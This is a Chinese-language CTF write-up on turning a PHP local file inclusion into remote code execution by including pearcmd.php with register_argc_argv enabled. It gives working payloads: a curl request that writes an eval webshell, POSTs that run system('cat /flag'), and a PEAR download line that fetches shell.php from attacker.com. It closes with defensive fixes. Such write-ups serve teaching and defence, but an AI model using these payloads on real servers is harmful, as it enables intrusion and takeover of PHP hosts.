PHP文件包含漏洞进阶:利用pearcmd.php绕过伪协议限制实现RCE

发布时间:2026/9/16 17:28:08
PHP文件包含漏洞进阶:利用pearcmd.php绕过伪协议限制实现RCE
说实话WMCTF2020上Web方向这道Make PHP Great Again我第一次做的时候完全被标题带偏了以为又是考PHP伪协议的花活。结果拿到题目环境php://filter被打回data://也被打回整整卡了小半天。后来真正打通之后回头看这个题的设计思路其实非常干净它想让你丢掉依赖了很久的伪协议三板斧转而去关注PHP运行环境里一个几乎被所有人忽略的组件——PEAR。这篇文章我把自己从环境探测、思路分析到最终getshell的完整过程都整理出来包含每一步的原理拆解和踩坑记录。不管你是准备CTF比赛的新人还是平时写PHP想了解一下文件包含漏洞到底能打到什么程度这篇应该都能给你点东西。1. 题目初识一个典型的PHP文件包含LFI入口1.1 拿到题目先看代码这类题目一般打开就是一个index.php直接高亮源码。WMCTF2020这道题逻辑非常简单核心就这一段?php error_reporting(0); if (isset($_GET[file])) { $file $_GET[file]; if (preg_match(/php|filter|data/i, $file)) { die(Hacker!); } include($file); } else { highlight_file(__FILE__); } ?很多朋友第一眼看到这个代码都会觉得这不是送分题吗include一个GET参数不就是LFILocal File Include本地文件包含吗确实漏洞点一目了然$_GET[file]完全可控直接拼进了include没有任何路径校验。但问题就出在过滤上/php|filter|data/i大小写不敏感。这个正则直接把PHP伪协议最常见的三个关键字全干掉了。需要注意的是这里的过滤作用在URL解码之后。也就是说你用php%3A%2F%2Ffilter这种编码方式也没用因为PHP在把请求参数放进$_GET之前就已经完成了解码preg_match看到的就是php://filter本身。所以表面选择非常少php://filter带php带filter死。php://input带php死。data://带data死。phar://带php死。乍一看PHP伪协议全家桶基本团灭了。这道题难就难在它没有给你留常规的LFI getshell路径你必须得换个思路。1.2 常规伪协议为什么全军覆没我简单展开一下这些伪协议平时是怎么用的也方便理解为什么它们被拦下之后这道题会突然变得难。php://filter/readconvert.base64-encode/resourceindex.php最常用的读源码手段。因为include直接包含PHP文件的话代码会被执行看不到原文所以先用base64编码流把内容读出来再解码。这里关键字php和filter都命中。php://inputPOST一段PHP代码交给include执行。关键字php命中。data://text/plain,?php phpinfo();?直接内联代码执行。虽然data://本身不含php可后面的?php里有php如果过滤的是整个字符串那也会命中。当时我试过用data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8这种base64形式可以躲过过滤规则但原题可能做了环境上的处理实际上并不好使。而且出题人显然希望选手往另一个方向走。phar://主要是配合反序列化使用关键字php命中。这个正则在出题人手里等于竖了一块牌写着PHP伪协议此路不通。那么问题来了一个普通的本地文件包含在不依赖PHP伪协议的情况下到底能不能RCE远程代码执行这就是这道题真正的考点。2. 破局点藏在Docker镜像里的pearcmd.php2.1 pear是什么为什么我会想到它Pear的全程是PHP Extension and Application Repository古老的PHP包管理工具类似Python的pip或者Linux的apt。在老一点的PHP环境里几乎是标配尤其在很多官方PHP Docker镜像里/usr/local/lib/php/pearcmd.php这个文件天然存在。很多CTF题目环境都是用php:7.x-apache这种官方镜像起的。这类镜像的一个隐藏特征就是带了完整的PEAR工具链。而PEAR的命令行入口pearcmd.php本身就是一个可执行的PHP脚本也就是说它完全可以被include加载并执行。我当时的思路其实很朴素既然题目限制我不能用php://一类的伪协议那我能不能找一个系统自带的PHP文件来include让它帮我完成一些脏活比如写文件甚至直接执行命令。这不就是LFI的另一个常用套路嘛——包含一个系统里已有的、能通过传参控制行为的PHP脚本把它的功能借过来用。人一旦有了思路剩下的就是对环境做指纹识别。我先尝试包含了一下/usr/local/lib/php/pearcmd.php/?file/usr/local/lib/php/pearcmd.php页面没有报文件不存在而是一堆PEAR的命令行帮助信息。这说明文件存在而且真的被当作PHP执行了。这一步算是整个题目的破局关键。很多时候你打CTF卡住不是不懂得利用技巧而是你根本没有意识到目标环境里存在一个可以帮你的隐藏工具。2.2 register_argc_argv让Web请求变成命令行现在我们知道pearcmd.php可以被include执行但下一个问题更关键它一个命令行工具怎么接收我们传来的指令这里就要提PHP的一个特别有意思的运行时配置register_argc_argv。在PHP的CLI命令行模式下$argv和$argc是自动注册的分别代表参数数组和参数数量这是常识。但在CGI / FastCGI / Apache mod_php这种Web模式下只要register_argc_argv OnPHP也会把HTTP请求的查询字符串Query String按照空格分割塞进$_SERVER[argv]。用大白话说Web模式下如果这个开关开着HTTP请求里的查询字符串可以模拟出一份命令行参数。比如你请求http://victim/pearcmd.php?config-create/tmp/shell.php在CLI版本看等价于执行了php pearcmd.php config-create /tmp/shell.php这不是什么冷门黑科技pearcmd.php本身写的逻辑也很朴素它在开头用array_shift($argv)把自己脚本名去掉然后按第一个参数分发到不同的命令处理函数。它根本不关心当前是CLI还是Web只要有$argv它就照单全收。而官方PHP Docker镜像尤其是Apache那个里register_argc_argv默认是开着的。于是这个配置漏洞、PEAR组件、LFI漏洞三者一串联RCE路径就通了。你可能想问register_argc_argv在生产环境里是默认关的吧这里有个很多人容易搞混的细节如果用的是Nginx PHP-FPM编译安装并且用了生产环境php.ini那register_argc_argv确实是Off。但你拉一个php:7.4-apache这种官方镜像直接跑它默认的php.ini可能压根没显式关闭这个开关很多情况下就是On。这也是为什么当时的CTF题目特别喜欢用官方Docker镜像来出因为能白嫖到这个默认特性。3. 完整攻击链复现从LFI到getshell3.1 构造config-create payload既然确定pearcmd.php能include、能接收参数那下一步就是选一个PEAR命令来帮我们写webshell。PEAR命令很多比如install、download、config-create等等。其中config-create是创建PEAR配置文件的命令它的标准用法是pear config-create root_path output_file第一个参数是root路径第二个参数是输出文件路径。但是配置内容其实是按模板生成的root_path会被拼到生成的配置文件内容里。如果我们把root_path写成一段PHP代码那么生成的配置文件里就会包含这段代码。用一句话webshell来做就是?eval($_POST[1]);?于是完整的Payload思路就出来了GET /?file/usr/local/lib/php/pearcmd.phpconfig-create/?eval($_POST[1]);?/tmp/shell.php这里查询字符串里的会被解析成空格所以PEAR收到的参数依次是脚本名/usr/local/lib/php/pearcmd.php命令config-createroot_path/?eval($_POST[1]);?输出文件/tmp/shell.php为了让整个请求稳定可用我建议把URL中的敏感字符做一下编码。尤其是、、;、$这几个字符在不同HTTP服务器下可能会有不同表现。我用curl复现的时候一般写成这样curl -k http://target/?file/usr/local/lib/php/pearcmd.phpconfig-create/%3C%3Feval(%24_POST%5B1%5D)%3B%3F%3E/tmp/shell.php%3C%3F是?%24是$%5B和%5D是[和]%3B是分号%3F%3E是?。编码之后整个查询字符串里全是安全字符不容易被中间环节折腾。3.2 写入Webshell并验证发完上面这个请求之后PEAR的config-create命令执行正常情况下/tmp/shell.php应该已经生成内容类似#PEAR Configuration ... ... root_path/?eval($_POST[1]);? ...注意PEAR生成的配置文件不只有root_path这一行但这不影响。只要文件里存在?eval($_POST[1]);?当它被include时PHP就会解析执行这一小段代码。接下来验证写入是否成功。因为写到了/tmp目录Web根目录下直接访问不到所以需要再借助一次LFIPOST /?file/tmp/shell.php Body: 1phpinfo();如果一切正常页面会输出phpinfo页面。如果你不想用phpinfo这么刺激的可以先发一个1var_dump(123);看看页面有没有int(123)的输出。确认webshell可用后直接读flagPOST /?file/tmp/shell.php Body: 1system(cat /flag);如果flag不是直接在根目录那就先system(ls /);再根据目录结构找到flag文件的位置。整个过程总结成一条链子LFI include pearcmd.php → register_argc_argv 把GET参数转成argv → PEAR执行config-create写文件 → webshell落地 → 二次include触发执行 → RCE每环缺一不可。回头看看真正巧妙的地方在于想办法让系统里的已有文件帮你写文件。我后来在一些真实授权测试中也遇到过类似情况思路完全可以平移过去。4. 常见踩坑与排查清单我在本地用Docker复现这道题的时候其实并没有一次成功中间踩了好几个坑。这里把高频问题整理成一张表如果你在环境里复现失败可以照着排查。现象大概率原因排查/解决办法include pearcmd.php返回404或空白PEAR没有安装或路径不对先试/usr/local/lib/php/pearcmd.php不行再试/usr/share/pear/pearcmd.php、/usr/lib/php/pearcmd.php返回的不是命令帮助而是报错register_argc_argv未开启检查php.ini确认register_argc_argv On本题环境默认为On请求后没有生成/tmp/shell.php查询字符串拼接格式问题确认不能少后面的参数不能带建议用curl而不是浏览器测试包含生成的shell文件后页面是空的webshell代码没被解析检查生成的配置文件内容是否包含?注意系统中php版本是否支持短标签?从PHP 5.4起默认支持一般没问题直接访问shell.php是下载或源码而非执行webshell写到了Web根目录但被服务器当普通文件处理用include方式访问而不是直接HTTP访问写入路径无权限Web当前用户对目标目录不可写优先写/tmp再通过include执行或写Web目录下可写子目录除了表格里的问题还有一个非常隐蔽的坑如果payload里使用了字符很容易导致查询字符串被提前截断。因为URL里本身是参数分隔符。所以webshell代码里尽量不要出现比如写url参数拼接的命令一旦出现必须URL编码成%26。还有一个问题是某些环境下PEAR虽然存在但版本不同config-create的参数顺序可能有差异。不过我当时测试的几台官方php镜像都吃这一套一般来说问题不大。如果写到/tmp之后二次include发现没有执行先别急着怀疑思路错了先确认你写的文件到底长什么样。你可以用这种方式读一下?file/proc/self/fd/... # 或者 ?file/tmp/shell.php # 直接POST 1readfile(/tmp/shell.php);不过要注意第二次include本身就会执行shell所以直接发POST过去看响应更快。5. 影响范围与防御建议5.1 pearcmd.php的利用面不止config-create说实话config-create只是PEAR命令里比较容易控制输出的一个。如果利用点变成LFI pearcmd.php其实可以用的远不止这一招。比如PEAR的download命令可以下载远程文件/?file/usr/local/lib/php/pearcmd.phpdownloadhttp://attacker.com/shell.phpinstall命令还能从本地或远程安装软件包如果你能控制软件包内容同样有机会getshell。还有run-tests命令某些版本也能用来读文件或执行外部程序。这个思路的可怕之处在于只要一个PHP项目有文件包含漏洞并且运行环境里带着PEAR那就算你堵死了所有伪协议攻击者依然可以把pearcmd.php当成一套完整的工具库来用。在我印象里pearcmd.php在2020年前后就频繁出现在国内外各大CTF题解中WMCTF2020这道Make PHP Great Again算是把它彻底带火了后面很多比赛题都在模仿这个考点。5.2 文件包含漏洞的正确修复方式防御永远比利用更重要。这道题虽然是一场CTF但暴露的问题在真实业务里同样存在。如果你是一个PHP开发者或者负责维护PHP服务的运维下面这几条建议应该能帮到你首要原则永远不要直接include用户可控的变量。如果可以用路由白名单映射用户传一个pageuser代码内部自己去对应user.php。如果必须动态包含路径最起码要做realpath校验确保最终解析出来的路径在你允许的目录内并且不要在路径里出现..或/等特殊字符。及时删除不需要的PEAR、Composer全局组件等开发工具。很多Docker镜像为了温水煮青蛙式省事把一堆用不到的东西都打包进去了。pear在运行时根本不需要删掉等于把这个组件直接从攻击面里拿掉。设置register_argc_argv Off。虽然这不能完全阻止所有LFI利用但至少切断了pearcmd.php被当命令行用的一条大路。配合open_basedir限制PHP可访问的目录范围这样即使能include也只能在限定目录里打转。有条件就上WAF对file、include等常见参数做语义检测。但记住WAF只是缓解不是根治。很多人觉得我不include用户输入不就行了但实际上业务里难免会有一些历史遗留代码或者为了方便把文件名直接拼进去。所以从环境侧减少可利用组件永远比寄希望于程序员不犯错要靠谱。另外想多说一句这道题的利用思路后来也出现在了很多真实授权测试场景中不仅仅是CTF。只要目标是一个暴露在公网的老PHP应用并且底层是带PEAR的容器LFI就可能一路打穿到RCE。安全研究里你可以把pearcmd.php当成一个环境指纹一旦发现目标有文件包含但伪协议不可用试着include一下/usr/local/lib/php/pearcmd.php说不定就有惊喜。最后再说点体会做完这道题之后我最大的感受是打CTF也好做安全研究也好不能总想着靠几个固定套路走天下。php://filter确实好用但一旦被过滤就抓瞎说明你的知识体系还是太依赖标准答案了。这道题逼着我把注意力从URL层挪到了运行环境层去思考目标机器上有什么可以被include的文件这个思路的转变比拿到flag本身更有价值。如果你也想复现建议直接用Docker拉一个php:7.4-apache镜像在/var/www/html/index.php里写上述那段含include的代码然后按照文章里的步骤一步步打。打不通没关系多看看响应多改改payload这个过程本身就是对PHP运行时机制最好的学习。按照这个环境脚本题目只需要几分钟就能搞通但背后值得琢磨的东西却够你回味很久。